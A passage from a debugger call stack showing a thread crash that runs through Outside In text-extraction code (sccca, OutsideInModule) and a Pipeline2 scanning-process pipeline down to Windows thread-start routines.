08 000000b2`54e7cf20 00007ffb`eb9689dc     sccca!CAReadNext+0x1fe0
09 000000b2`54e7d360 00007ffb`eb96a111     OutsideInModule!CreateTextExtractorModule+0x775c
0a 000000b2`54e7e400 00007ffb`e9ac9b4a     OutsideInModule!CreateTextExtractorModule+0x8e91
0b 000000b2`54e7e440 00007ffb`e9ac9630     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x7842a
0c 000000b2`54e7e500 00007ffb`e9acb361     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x77f10
0d 000000b2`54e7e5c0 00007ffb`e9a79d47     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x79c41
0e 000000b2`54e7e600 00007ffb`e9a7e194     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x28627
0f 000000b2`54e7e850 00007ffb`e9a7f2db     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2ca74
10 000000b2`54e7e990 00007ffb`e9a7efc2     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2dbbb
11 000000b2`54e7eaf0 00007ffb`e9a7e775     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2d8a2
12 000000b2`54e7ec30 00007ffb`e9a5bcbf     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2d055
13 000000b2`54e7edf0 00007ffb`e9a5c8c9     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0xa59f
14 000000b2`54e7ee30 00007ffb`e9a53757     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0xb1a9
15 000000b2`54e7efe0 00007ffb`e9a53455     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2037
16 000000b2`54e7f120 00007ff6`9fbd5379     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x1d35
17 000000b2`54e7f1e0 00007ff6`9fbc2d7f     scanningprocess+0x15379
18 000000b2`54e7f550 00007ffc`41a091ca     scanningprocess+0x2d7f
19 000000b2`54e7f580 00007ffc`419abb26     ntdll!TppWorkpExecuteCallback+0x13a
1a 000000b2`54e7f5d0 00007ffc`412b4de0     ntdll!TppWorkerThread+0x686
1b 000000b2`54e7f8c0 00007ffc`41a1ec4b     KERNEL32!BaseThreadInitThunk+0x10
1c 000000b2`54e7f8f0 00000000`00000000     ntdll!RtlUserThreadStart+0x2b

❌
❌